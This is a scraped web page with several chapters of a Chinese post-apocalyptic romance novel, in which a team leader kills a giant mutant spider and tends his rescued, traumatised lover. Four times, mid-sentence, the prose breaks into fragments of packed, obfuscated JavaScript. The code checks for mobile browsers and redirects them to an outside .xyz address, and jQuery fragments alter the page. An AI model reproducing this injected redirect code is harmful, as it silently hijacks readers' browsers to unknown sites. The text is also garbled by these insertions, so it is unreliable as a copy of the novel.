RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706896|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的边缘徘徊,似乎下一秒就要彻底消失了。 可那小小的一管“神赐”喝下去,就好似从源头又涌出了源源不断的清泉,林子的脸色顿时由苍白变为红润,他甚至重新有了坐起来的力气,整个人都精神了起来。 “首领!我现在感觉自己好像回到了几年前的状态,再护基地三年也不成问题!” 王平感觉自己一个钢铁般的男人都要落泪了,林子对基地的贡献绝对是所有人里最大的,甚至比他这个首领还要大,若非林子完全放弃己身自由,甘愿躺在床上用所有力气与精神维持天赋,小草基地恐怕早就不存在了。 不过眼下,林子的天赋恢复了,又有不知具体身份的大佬打算帮他们除掉那只异变体,他们小草基地的未来也是好起来了! 是以,当王平嘱咐林子好好休息,再次出来的时候,脸上的笑容堪称谄媚,“大佬,就是吧,我们基地除了‘神赐’,也没别的可以拿得出手了,要不您看看,到时候去进攻的时候,有什么用得上我们的地方,尽管开口!” 既然王平都这么说了,步景明思忖片刻,问道:“基地里有没有天赋是能腐蚀的,浓酸之类的?” “这个没有。” “高速移动呢?” “呃,也没有……” “能做到远程攻击的天赋有没有?” “嘶,理论上是有好几个,但是……” 柯九辛听着听着没忍住,插了一句,“你们这基地能活到现在也是不容易。” 怎么战斗能力这么差呢? 王平只能干笑着,望着步景明没什么变化的脸色,忽然想起什么似的,一拍手掌,“对了,有个小兄弟是天赋是操纵植物,就是你们掉下来那个时候把你们车捆住的藤蔓,就是他用天赋控制的。这个有用吗?” 这个确实有点用,步景明让他把人叫来,王平就把之前他们见过的锅盖头给喊了过来。 一番询问之下,发现锅盖头能操纵的最大的植物就是洞口边那株藤蔓,也是基于此,他们才选择在这个地方挖了这么大的一个陷阱用来埋伏异变蜘蛛。 “关于那只异变体,你们还有什么别的情报吗?” 王平想了想,“只知道它的洞穴地点,还会在晚上休息,白天觅食。速度很快,在地下时的速度会相对来说慢一点。” 步景明点点头,没有再多说什么,而是转身回到了越野车上。 王平还等着他说一下计划之类的,没想到对话到这就戛然而止了,不免有些哑然。 看来大佬是一番权衡之下,发现他们这个小基地实在是派不上什么用场,这才什么都没跟他说。 掉入陷阱的时候大约是上午九点多,在小草基地这里折腾了一阵,不知不觉也停留了几个小时,时间来到了下午两点。 位于地下的小草基地其实很容易让人迷失对时间的概念,基地里的人也意识到了这一点,所以有专门安排人每隔一段时间就去到地面看看天色。 此时步景明小队的人都在越野车里休息,除了柯九辛这个社交悍匪还在外面和小草基地的人聊得起劲,“我啊?我都跟我们老大在外面跑了得三年了吧,我是被老大救下来的。” 12. 情种 “我现在还记得当时的场景,基地里有人看我不爽,就在一次异变体袭击基地的时候把我给推出去了,这个天杀的推我出去马上就给门关上了,我的反应那么快都没来得及抵住门,手上一把武器都没有,差点就死外头了。” “当时老大简直像天神下凡,带了三四个人路过那个破基地,开的还是这辆车,一个拐弯就把扑在我身上的异变体撞飞了。” 柯九辛坐在矮矮的泥土拱成的小凳子上,单手托腮回忆着当时的情况,“本来那个基地就没我什么熟人,还闹了这一出,我醒来以后当即就表示要跟老大走,既然救了我的命,那我就是他的人了,干啥都行,反正这个世界都这幅样子了,在哪讨生存不是讨呢。” “不过当时,队伍里对我的去留讨论得还挺激烈的,有人不想多收我一个,担心路上出岔子,或者多一个人口粮紧张,我只好拼命找自己的优点,说我的天赋还挺有潜力的,还说我很能打,十八般武艺样样精通。” 柯九辛把自己说笑了,“其实就跟你用天花乱坠的简历包装自己去骗HR是一个路数,反正也不知道老大到底被哪点打动了,就把我带上了。” 接她话的是短寸头,“你们为什么要一直在外面,不找个基地定居?” “哦,因为老大要找他老婆,”说到感情的部分,柯九辛顿时露出一副八卦的嘴脸,“你们绝对想不到,就我们老大那一副薄情寡欲的样子,没想到是个情种,据说两个人青梅竹马一起长大,结果就那么巧,末世来之前吵了一架,老大就离开了一趟寻思冷静冷静,结果这一离开,末世一爆发,人就断联了。” 明明凭步景明的实力,无论在哪个基地都会得到不差的待遇,究竟是怎样深的感情,才会让一个战力如此高的人拒绝一切基地的挽留,毅然决然地踏上寻人的旅途呢。 虽然从未说出口,但柯九辛心里知道,自己还是羡慕的。 羡慕那种,永远被一个人惦念在心的感情,那种即便生死存亡也不放下的感情。 她就从未感受到过,无论这样的情感来自爱人还是亲人。 那边柯九辛在外面大聊特聊,这边越野车里,田东宇问步景明,“明哥,已经决定帮小草基地解决那只异变蜘蛛了?打算怎么做?” “既然晚上休息,那自然是晚上突袭,”步景明搂着怀里又闭上眼睛沉沉睡去的江入年,压低了声音,“没有法子破开那层壳,那就物理攻击,一力降十会。” 反正已经被他们卸掉了两条腿,引以为傲的速度下降了,对他们的威胁也比之前低了不少。 只要还是生物,就必然有脆弱的部分,既然异变出了那么坚硬的壳,想必内里应该不堪一击。 无法破壳,那就用震荡吧。 田东宇明白了他的意思,也就不再多问,安静了下来。 时间很快来到了傍晚,王平本来想留他们一起吃顿晚饭再出发,但被步景明拒绝了。 他们最终一个小草基地的人也没带,只跟着王平走进一条不断向上的通道,最后从一个十分隐蔽的山洞里走了出来。 “洞穴的位置已经在地图上标注好了,”王平拍了拍步景明的肩膀,“拜托了。” 黑色越野在地下的时候就已经被柯九辛拿着隐匿气息的药水严严实实地喷了好几遍,直接用空了一瓶,就为了在靠近异变蜘蛛之前不被它发现。 若非小草基地几乎没有自保能力,步景明其实更想带上那个隐匿天赋的成员。 重新自地下回到地面上,看见久违的天空,几个人都不由自主地舒了一口气。 “还是上面舒服,地下也太压抑了,”开车的还是柯九辛,一边把着方向盘,一边看着远处太阳落下的地方滚着层层紫橙色的云,感叹着,“这个基地的人也是不容易,能在下面生存那么久。” 副驾上的丘月月摸着肩膀上阿猫的羽毛,有些不解,“可是,他们究竟为什么不选择换一个地方呢?在那个天赋者的帮助下,转移地点去找别的基地,其实也不难吧?” 尽管在步景明问战斗力的时候,看似没一个能打,可实际上能在末世里生存那么久,怎么可能一点战斗力都没有,无非是对付不了巨蛛这种量级的异变体,这种堪称游戏里的boss一般的异变体也确实不是普通人能应付的。 “可能是习惯了吧,”田东宇坐在空地处扶了扶眼镜,“不是有人说了,想跑出去的都跑了,剩下的这些人压根没有离开熟悉的地方,去面对未知的勇气。” 更何况,天赋还都那么弱小,比起能打但是会受伤来说,那群人大概都宁愿不要受伤。 越野车贴着树林的边缘前进,车轮碾过无数植物,留下两道明显的车辙痕迹,车上的雷达也开始出现代表巨蛛位置的闪烁红点。 “老大,快到了。” “嗯,”步景明同样在盯着前方,他们离一座高山越来越近,四周的土地也愈来愈贫瘠,不再有茂盛的植被覆盖。 “一会儿还是像之前那样,引进林子里,”步景明看了丘月月一眼,“丘月月,你会不会用枪。” “会一点,但是打腿可能打不中……” “会就行,往身上打,吸引注意力,”步景明把先前那把步枪丢给她,“柯九辛,开好车,别被攻击到;田东宇,给我掠阵,阻挡它的攻击。” 几人均是点头,当眼前出现一个巨大的黑黢黢洞口时,步景明果断开门下车,同时给柯九辛手势:拐弯! 几乎是同一时间,地面再次出现熟悉的震动,很快,洞口就探出来了几根布满毛茸的蛛腿。 异变巨蛛嗅到了仇人的气息,一边尖叫着一边从洞口中冲了出来,毫不犹豫地追着步景明进了巨树林。 步景明趁着天黑,四处皆有影子,不断闪烁出现在巨树的树干上,异变巨蛛每一次戳击都只能打中步景明留下的残影,这种被戏耍的感觉让它更加愤怒,又开始仗着庞大的身躯在树林里横冲直撞。 一定要进林子打的原因有二,一是阻拦巨蛛的行动速度,二是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706897|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一团黑影缠绕上一棵大树,如蟒蛇绞杀那般拦腰截断一棵树,步景明一抬手,暗影如同他的外骨骼手臂,挥着十几米高的乔木自上而下狠狠砸在巨蛛的身上。 强大的力道冲击让树木崩裂成几段,而巨蛛的外壳也被砸出了一个浅坑。 这一下属实给巨蛛砸懵了,它竟然在原地愣了两秒钟,趁此时机柯九辛狂野地开着黑色越野路过,丘月月从窗户伸出枪管来“砰”“砰”“砰”就是三枪。 虽然无法破防,可这么近的冲击力是实打实的,巨蛛顿时被吸引了注意力,放下步景明不追转而奔向了那个灵活穿梭在林子里的铁疙瘩。 可它前脚才追出几米远,撞开几棵树,后脚又被另一根巨大乔木横扫击飞,一连撞断好几棵树。 步景明蹲在高处树杈上,呼吸逐渐变得急促,巨蛛的体量不轻,要对它造成有效攻击就必须用尽力气,要操控暗影挥出足够造成伤害的速度也很消耗他的力量。 这一番打斗下来,原本可以把月光遮得严严实实的巨树林已经被清出一片不小的空地,柔和的月光照出巨蛛坑坑洼洼的外壳,很明显,这样的打击方式可以对它造成伤害。 不过,相比很容易被巨蛛摧毁的树木来说,也许还是往地上打更好一些,厚实的大地可以承接一切冲击,并反震给巨蛛本体。 步景明索性直接捡起地上被巨蛛撞倒的树干,边躲避着朝他戳过来的蛛腿,边操纵着暗影将树干当棍子使,狠狠往巨蛛身上砸。 一根砸裂又换一根,战场的中心完全成为了他和异变体之间的战斗。 田东宇本来在车上随时做好凝出水盾给步景明挡攻击的准备,没想到他灵活得巨蛛根本打不中。柯九辛干脆将车开到远离战斗范围的地方停了下来,就着月光看这场几乎要变成单方面碾压的暴揍,啧啧称奇,“老大好像自从上次短时间二次升级以后,就变得更强了。” “什么二次升级?” 丘月月听到了陌生的名词,尽管脑子里很快就反应过来这指的是什么,可还是忍不住开口询问。 她毕竟是前实验室人员,知道一点天赋相关的情报,但,短时间内?二次升级? 步景明还是人吗? 她在负责A01之前,也在其他多个实验项目里轮转过,天赋相关的研究是整个研究室的重点方向,所以她不仅知道天赋可以随着使用的熟练度不断变强,也知道天赋通常不止一种使用方式,但是能领悟到这一点的人少之又少,堪称凤毛麟角。 “就是,老大他在救人之前,大概一个多星期以前?才升级过一次,后来为了救人,从你们那实验室里偷了一瓶‘神赐’,然后就又升级了。” “神赐”并没有很明显的强化升级的效果,他们做过实验,只能短时间内强化,无法维持且无法做到真正的升级。 丘月月知道步景明很强,当初在如此严密的实验室里被威胁的时候就知道,可也没想到这人竟然可以做到这一步。 是因为A01吗? 13. 暂歇 步景明最后将一棵格外粗的树干狠狠砸上巨蛛的外壳,方才的一番战斗,不仅将巨蛛的外壳打得满是凹陷,甚至连蛛腿都让步景明又扯断两条,眼下的巨蛛对步景明而言已经完全失去了威胁。 随着最后一击落下,巨蛛的外壳完全从中央凹陷下去,几乎要将它的身躯一分为二,巨蛛也终于不再动弹,如一座小山般倒在那里。 步景明重重地吐出一口浊气,抬手控制暗影将巨蛛掀翻,露出过于柔嫩的粉白腹部,随后远远地朝着越野车的方向比了个手势。 “哦,老大完事了,来,枪给我。” 柯九辛从丘月月怀里把步枪拿过来,开门下车往前瞅了一阵,皱起眉头,又看了好一会儿,最终还是带上了自己常用的巨斧走了过去。 “老大,这玩意应该往哪里赶尽杀绝啊?” 这也问到步景明了,他对昆虫没什么了解,这么大一块腹部,如果有的话,脑袋在哪,心脏又在哪? 他们对视一眼,得,都不知道,柯九辛就举起斧头,干脆利落地给巨蛛开膛破肚,里头早已被震碎的内脏如小溪汩汩往外流,还伴随着一阵难以容忍的恶臭。 “搞定!” 俩人回到车上,步景明坐下的那一刻才察觉到身体涌上来的疲累,大脑也因天赋使用过多而产生轻微的刺痛感。 “回一趟小草基地吧,在那附近休息一晚,明天回天明。” 当黑色越野重新出现在洞穴附近时,小草基地负责侦查的成员马上向王平汇报,激动地王平一溜小跑来到洞口,看见车灯时就像看见了自个儿亲娘。 “情况怎么样?解决了吗?” 步景明坐着没动弹,下车和王平交谈的是田东宇,“那只异变体已经死了,你们可以不用提心吊胆了。” 王平尚能维持住脸上的表情,只是抿紧的嘴唇和微弯的双眼能看得出来他激动的心情,而一旁的侦查成员则是直接欢呼一声,扭头就往基地里跑去报喜了。 “谢谢……真的很感谢你们为基地解决了这么大一个祸患,”王平向他们深深地鞠了一躬,“只是,基地里实在拿不出什么特别有价值的东西……要不,我给各位准备点物资吧。” “没事,不用了,我们就在这里休息一晚,明天就离开了。” “那怎么行,那么大一只异变体肯定不好对付,我一会儿给你们拿点……” 王平坚持要给些什么,田东宇看得出来步景明并没有想要收这个贫穷小基地东西的意思,也就不断推脱,直到步景明从车上下来,问道:“物资就不必了,你们自己留着用吧,我有个问题问你。” “你说你说。” “你们基地的‘神赐’是怎么来的?” 突然提到这个,王平愣了愣,但还是开始翻找自己的记忆,组织着语言说道:“我想想啊,应该是差不多一个月前吧,也是有个人经过这边,正好撞上我们外出狩猎的小队,知道这边有个基地以后,就想在这里稍微休息一下,落个脚。” “当时狩猎队正好打了些猎物回来,我看他一个人在外行走,就问他要不要一起吃点,补充一下体力。” “他也没推脱,跟着基地一起吃了一顿饭,吃完就说要走了,但不白吃,就留下了那个。” 王平试图观察步景明的脸色,但天边的圆月此刻被云层遮挡,火把也不够明亮,最终,他只能听见步景明说:“你还记得那个人长什么样子吗?男人还是女人?” “那肯定是个男人,”王平很努力地想了想,“长什么样子……不太记得了,应该就是很普通的那种长相,好像没什么记忆点,身高也就是平均水平的程度,可能在175到180之间吧。” 有效情报约等于零,但步景明也不觉失望,神色平静似乎对这样的结果并不意外,随后告知了王平他们打算在洞口处休息一晚,明天就离开。 “行,你们真的不到下面来休息吗?不过上面也行,这附近最大的威胁就只有那只异变蜘蛛,其他的一些小型的异变体都会被狩猎队处理掉,你们就安心休息吧!” 王平一指重新回到洞口站着的侦查成员,“今晚他负责站岗,如果有什么需要可以随时和他说。” 步景明点点头,看着他的身影没入洞穴,转身走回越野旁,敲了敲车门,“安营。” 他们的人数变多,原来只有三个的睡袋怎么也不够睡,得下来安置帐篷。 三个帐篷睡五个人绰绰有余,两位女生一起睡,田东宇自己睡,最后一个自然是步景明和江入年一起。 也不是第一次在野外安营扎寨,柯九辛把车上的帐篷拿下来,手脚麻利地挨个儿撑起,田东宇则在三个帐篷围起来的中心空地上开始生火,丘月月左右看看,没找到自己能帮上忙的地方,站在原地正有点不知如何安放自己空闲的手脚,就听柯九辛指挥她道:“月月,你把车上的睡袋拿下来吧。” “好。” 丘月月按着昨晚的记忆,上车从座椅下抽出睡袋,柯九辛很快走过来接过了睡袋,还给她讲解,“其实这个睡袋可以完全展开成一个平面,然后直接铺在帐篷里就当垫子使了,还好现在不冷,垫一个睡袋穿着衣服也能睡。” 队员在这边忙着,步景明则是从车上拿出了一些粮食和厨具,他们一行人还没吃晚饭,又打了一场架——尽管都是他在打,也该饿了。 之前拒绝在小草基地吃饭,除了不想多花费这个基地的物资之外,就是不想自己这方拿出太好的东西惹人眼红。 无论是天明基地的供给,还是一路上出于各种原因搜集得到的物资,步景明小队的成员吃得在末世中意外的还不错,有蛋白质有碳水,经常可以荤素搭配。 步景明把东西带下车,看见柯九辛把帐篷搭好以后,又重新上车打算把江入年也抱下来,然而,他一抬头,就看见黑暗中,那双眼睛不知何时悄无声息地睁开了。 “年年。” “……” 心里难以自抑地涌上些许失望, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706898|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步景明坐到他的身旁,抬手轻轻抚上纤长的睫羽,“……是什么时候变成这样的?” 空洞无神的眼睛给步景明带来浓烈的陌生感,明明江入年就在这里,触手可及,二人之间却又好像隔了一条无法跨越的银河。 这五年里,步景明不止一次的想过,当初为什么要吵架,为什么要因为想冷静冷静就抛下江入年去那么远的地方。 区区几百公里,对末世前的现代社会而言根本不值一提,可在末世爆发后,他却足足花了数个月的时间才重新回到已是废墟的学校。 早已经赶不上了,他就此,彻底失去了江入年的任何消息。 步景明想到当初在山河基地得到的线索,眼神难得变得狠厉。 必然是有人在暗中对江入年下了手,将他囚在那样冰冷的地方不知几年…… 并且,假如丘月月的说法并没有夸大的成分,那他在地下室看见的,那么多的“神赐”,还有散布在外和已经使用的……步景明不敢想,江入年是怎样忍下这么久以来刮头断骨的痛苦,是怎样坚持着直到他姗姗来迟。 喉头哽得厉害,眼眶发热,步景明以为自己要久违地掉下眼泪了,可实际上,他只是珍惜地把江入年搂进怀里,又调整成平躺的姿势打横抱起,将江入年抱下了车,带进其中一顶帐篷里。 虽然丘月月说,江入年可以在脱离营养液后这么睡五天,但步景明不可能不考虑他的生理需求,即便天赋再怎么强悍,三天不喝水也是会出问题的。 帐篷里除了铺好的睡袋外,空无一物,步景明将江入年放下后,发觉一会儿吃饭喝水的时候江入年没有一个舒服的维持姿势的环境,帐篷可不经靠。 步景明想了想,离开帐篷,就进寻找了一棵略粗的树,用暗影轻松折断一节下来,就这么带着回到了营地,随后将那节树干放在了他们的帐篷后。 这样,江入年就可以坐得舒服一点了。 睁开眼的江入年和闭眼昏睡时完全不一样,主要体现在身体情况上:昏睡时是柔软而沉重的,疑似清醒时,就如一个可以摆动的木偶娃娃,躯干僵硬,但能维持住某个姿势。 步景明重回帐篷里的时候,带着一个巴掌大的罐头壳和两张烙饼,还有一个水瓶。 烙饼是他吃的,而外表是水果图案包装的罐头里装的却是温温热的土豆泥。 中午的粥江入年就没吃多少,步景明总担心他饿着,晚上就从车里找了土豆出来碾成泥,再撒上一点盐,做了一份格外简单的土豆泥。 江入年顺着步景明搀扶的手臂坐起,隔着帐篷布靠在粗壮树干上,一对眼珠一动不动,那里仍然照不进任何事物。 但他很乖,递到嘴边的食物会张嘴咽进去,凑过来的水杯也会好好含住,只是,罐头里的土豆泥没喂两口,他突然浑身颤了颤。 随后,他像是突然活了过来,挥动着手臂打开眼前的勺子,头一歪,喉咙夸张地蠕动两下,还没消化的土豆泥被尽数吐了出来。 14. 粥煮好了 步景明根本顾不上被弄脏的睡袋,紧张地扶着江入年的肩膀,看他很快将胃里为数不多的食物吐完后,却还在痛苦地干呕,口涎自唇瓣上拉出透明的丝线,眼角都被逼红,滑出几颗生理性泪水。 帐篷里的动静也吸引到了外面几人的注意,柯九辛率先跑过来,掀开门帘一看,“老大!怎么了这是?” 紧随其后的丘月月远远地看见帐篷里的情况,下意识想要去找餐巾纸,好一会儿才反应过来末世里没有那么奢侈的东西,更别提她已经不在实验室里了。 田东宇条件反射跟着两位女生站了起来,但却没有动,只是隔着火光看向帐篷处,片刻后,他垂下眼帘,这才不紧不慢地走过来,聊表一下关切。 此时的江入年已经停止了呕吐,低垂着脑袋,嘴边的脏污被步景明用衣袖一点点擦去,又给他递上水瓶。 江入年没有喝,他似乎终于缓过神来,慢慢抬起头,第一眼先看见门帘外的柯九辛,接着是左边的丘月月,再是身边的步景明。 湛蓝色的瞳眸闪了闪,终于不再空洞,而是蓄满了无力与疲惫,还有许多别的不甚明显的东西。 “年年?喝口水吧,还有没有哪里不舒服?” 步景明没能看清江入年眼里的复杂情绪,他的大脑沉浸在爱人终于醒来的欣喜与激动中,眼睛也发亮,就连拿着水杯的手都微微颤抖起来。 听到他的声音,江入年终于转过头去,抬起眼帘,就着不够明亮的火光,描摹着那张许久不见的脸。 皮肤粗糙了,完全脱去了学生的稚气,也没有从前偶尔外放的张扬,变得沉稳而内敛,像一把收进刀鞘中的尖刀。 倒有点像小时候给人的感觉,过于沉默,在自己与外界间构筑起一道厚重的墙。江入年当初带着他玩了很久,才把这个小孩从墙里带出来,而后又陪了他许久,才看见他展露光芒,变得像正常的男生那样,阳光而有活力。 啊,所以这个不是他幻觉中的步景明,这次是真的。 生锈滞涩的大脑无法完全反应过来,这一认知代表了什么,江入年只是盯着他看了良久,而后双眼一闭,倒在了他怀里。 步景明手忙脚乱地接住他,险些撒了没盖盖子的水瓶,“年年?年年?” 倒下去的江入年似是重新陷入了昏睡,却又睡得不甚安稳,眉头紧蹙,嘴唇也紧紧抿起,步景明拍着他的背,安抚了好一会儿,才让他的面部肌肉不再那么紧绷。 帐篷外的队友很快意识到此时的他们不太适合出现在这里,不再继续围在门帘外,田东宇和两位女生表示今晚他守夜,女生们也就点点头,快速解决了晚饭以后钻进了她们的帐篷。 步景明则是将被弄脏的睡袋拿到外面清理干净,重新拿回来时干脆将睡袋里外翻了个面,拉链拉上变回睡袋的样子,将江入年罩了进去,又脱下自己的外套叠成方块给江入年做枕头。 他自己身强体壮无所谓,江入年可不能受凉了。 四下寂静,只有火焰灼烧木头发出的“哔剥”声,步景明的脸色不算好看,他想不到江入年的身体究竟虚弱成什么样子,才会没吃什么东西就难受到全都吐出来。 还好,他至少已经将人救出来了,往后还有很多的时间,他可以慢慢把江入年的身体养起来。 步景明也躺了下去,身体和地面之间只隔了一层薄薄的帐篷布,没有枕头被子,比硬板床还难睡。 饶是如此,这样的条件竟然还算不错,头一年的时候,步景明经常在野外睡在大树上,仅用藤条把身体固定在枝干上,生怕半夜被异变体偷袭了。 “……睡吧,晚安,年年。” 步景明凑过去,在江入年的唇角处轻轻地落了一个吻。 翌日清早,天光微亮,一行人没有惊动不远处打着瞌睡守洞口的小草基地的成员,安静地收拾好东西上了车,引擎发动的时候才惊醒守卫,但也只来得及看见越野远去的背影。 这一路上再回天明,没有再出多大的幺蛾子,步景明没和向长霖说回来的时间,以至于放哨的守卫看见这辆眼熟的黑色越野,这才去通知了向长霖。 “景明,这次回来得这么快?” 向长霖急忙赶往基地大门,停下时甚至有些喘。 正巧柯九辛把车开进基地,寻了个空地停车,他往打开的车门里瞅,“嚯,还多了个没见过的小姑娘。” 视线从前往后,向长霖又看见了安安静静闭着眼,一头微卷栗色短发,仅用一袭白巾布裹身的少年。 少年上半身完全被步景明揽在怀里,双腿微蜷,就这样占据了大半后排的座椅。 “……景明,你糟蹋小男孩?!” “……” 这家伙难怪和柯九辛一见如故,根本就是一类人。 懒得去管胡乱猜测的向长霖,步景明像托举小孩那样将江入年抱下车,绕过向长霖往里走,“我先带他去休息,晚点找你。” “哦,哎……”要不要给小孩准备身衣服啊? 向长霖完全来不及叫住步景明,就见他大步向基地里走去,没一会儿就看不见身影了。 柯九辛也下了车,拍拍呆住的向长霖,“喏,向哥,那就是老大的对象。” 向长霖啧啧道:“看出来了,我可从来没见他对谁这么宝贵过。诶对了,既然人已经找到了,那你们应该不用再到处跑了吧,就留在天明怎么样?” “不知道老大怎么想的,还没听他说过之后的打算,”柯九辛看他的眼神老飘忽到一旁的丘月月身上,便把丘月月拉过来,“对了,可以给你基地引进一位科研人才,介绍一下,她叫丘月月。” 不管外面发生了什么样的对话,这边步景明把江入年带到了他们小队的屋子里,总算可以有个像样的落脚点,无惧日晒雨淋,也不怕黑夜暗袭。 正好江入年还睡着,步景明掏出联络器联系向长霖,拜托他找两身衣服,还报了江入年的尺码。 “行,小事,还有什么要的吗?” 步景明想了想,“还要一碗粥,尽量煮稀一点。” 联络挂断,耳朵忽然捕捉到几分布料摩擦的声音,步景明看向床铺处,惊喜地发现江入年醒了。 不是先前那种空洞茫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706899|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然的状态,那双眼睛里有了神采,但仍有些飘忽。 他缓缓挪动着躯干,似乎想要坐起来,步景明赶紧伸手扶着他坐直,“年年?怎么样,还有没有哪里难受?饿不饿?一会儿有粥会送上来,你要不要先喝点水?” 相比步景明激动欣喜的态度,江入年则显得过于沉默,他先是低头看了看自己缠满绷带的双手,又抬眼看步景明,轻轻叹出一口气。 他似乎很久不曾说过话,嗓音微哑,咬字怪异。 他看着步景明黑沉沉的瞳眸,说:“景明,你为什么要来找我?” 步景明嘴角的弧度一僵。 ……这是什么意思? 江入年又问,“已经过去那么多年……你为什么现在找到了我?” 宛如被一盆冷水兜头浇下,步景明这才看清,那双与记忆中截然不同的蓝色眼睛里,除了浓浓的疲倦之外,还有几分难以觉察的绝望。 而那淡薄得毫无血色的唇瓣一开一合,说出的话如一柄刀般将步景明搅碎,“我明明,就快要放弃你了。” 不再抱有期待,只要没有希望,就不用坚持面对如蛆蚀骨的黑暗,只要不曾存在,便可不必经历,美好也罢,痛苦也罢,就可以一并丢进焚化炉,烧成灰烬再融到空气里,了无踪迹。 步景明在床边站了很久很久,直到门外传来敲击声响,大脑才迟钝地反应过来,粥煮好了。 所以,江入年其实是在怪他来晚了。 这确实是他的错。 步景明一言不发,转身离开了房间,倒让江入年愣了愣,手中无意识地攥皱身下的床单,嘴唇微动,却又什么都说不出来。 他的视线移到窗外,今日太阳很好,这间屋子在此时能照到不少阳光,那是江入年许久不曾见过的光芒。 其实在最初,他还是能感受到外界的。 那个时候,囚禁他的房间还在地面上,房间里还有窗户,尽管被用木板从外钉死,只有狭窄的间隙能让他感受到光,感受到雨,感受到异变体的恶臭,感受到植物盛开的香味。 江入年已经不记得了,不记得是什么时候从那个地方离开的,只是睡了很沉很沉的一觉之后,他所待的屋子就不再有窗,就连门也是毫无缝隙严丝合缝的铁门,而江入年在那里和手术台上两点一线,直到身体的生物钟彻底紊乱,他开始察觉不到饥与渴,察觉不到时间轮转,也察觉不到四季交替。 再后来,当他开始抗拒一切食物时,就被带进了充满营养液的仪器,又被剥夺了拥有亮光的权利。 此刻,极亮的阳光让他的双眼感到一阵刺痛,可江入年非但不移开视线,反而像自虐一般,依然在观察窗外的景象。 床铺距离窗边有一段距离,而窗户比床高上不少,他只能看见一幢幢高楼,和超出窗框范围只能看见深色主干的大树。 偶尔有人从稍远处的水泥路上走过,他们看起来或神情放松,或行色匆匆,倒不像是经历过大灾变的样子。 当步景明拿着粥和衣服返回房间时,就看见江入年扭头望着窗外,下眼睫挂了一颗摇摇欲坠的泪珠。 15. 害怕 怎么就出去几分钟,人就哭了。 步景明快步向前,将粥和衣服都放在一旁的床头柜上,抬手轻轻接住了那滴滑到脸上的眼泪。 江入年似乎完全没有意识到发生了什么,只见他回来了,又扭头去看他,半晌,竟是先一步开口:“对不起。” 又怎么会轮到江入年来向他道歉呢,分明是他来晚了,还来晚了那么那么久。 步景明的手落到江入年的脸上,感受到真实的触感和温柔的温度,一时竟舍不得移开,即便擦去了那晃眼的泪水,手指却仍然停留在脸上,从眼边划到脸颊,又移到下巴,最后,他屈膝跪上床,手臂环过江入年的脖颈,将他按进自己的怀里。 “是我该说这句话才对,对不起,年年。” 江入年很稀罕的,在他身上感受到了一种名为害怕的情绪,明明当初他的母亲对他家暴又当着他的面上吊自尽的时候没有怕过,明明在被车撞到骨折在医院动手术的时候也没有怕过。 但此时此刻,那只按在江入年后背的手如此用力,还带着颤,而他吐出口的语句与气息也难得不稳,就好像随时都会被堵住气管。 也许除了害怕,还有懊悔,和难以发觉的杀意。 江入年能感觉到这一切,可心脏从一开始就跳得那么平缓。 他应该开心的,在感受到步景明的那一刻,在发现自己已经离开噩梦的那一刻,他真的很开心。 只是,眼前这个世界就好像和他之间产生了一层厚厚的障壁,江入年不仅在障壁外,还在足以淹没他的沼泽里。 江入年自步景明的颈窝里悄悄抬起眼,越过他看着眼前这个仿佛未经历过大灾变的房间,一时有些不确定了起来。 或许,这会不会又是一场梦境? 无法得知爱人想法的步景明,在将人用力按进怀里的时候,才终于感到安心。 那是一种悬了一个世纪那么久的石头终于落地的安心,也是一株植物终于将根深深扎进地底的安心。 江入年身上的气息与他而言已经显得有些陌生了,似乎不仅是气息,还有些别的什么,也在五年的时间长河里逐渐被改变了。 江入年就这样任他抱着,很久之后才像是受不了了似的推开他,“喘不上气了。” “抱歉。” 步景明松开手,这才想起被自己遗忘在一旁的白粥,“对了,你很久都没吃什么东西,饿不饿,我特地让厨房什么都不放,只是单纯的白粥,应该不会接受不了了。” 他将白粥端过来,执起勺子搅了搅,还能隐约看见些热气,“虽然不够好吃,但是你得让你的胃适应适应,才能吃别的有味道的。” 现在想来,当时在小草基地那碗有肉丁的粥江入年没吐出来,大概率是因为没吃多少肉,当然,粥也没喝多少,还在胃囊能接受的范围内。 但晚上的土豆泥就不行了,过于扎实饱腹,一下超出了胃的消化能力。 对了,丘月月不是说,江入年的天赋能力是强化治愈么,可他的身体实际上虚弱到连土豆泥都无法消化……那群该死的究竟在江入年身上榨取了多少。 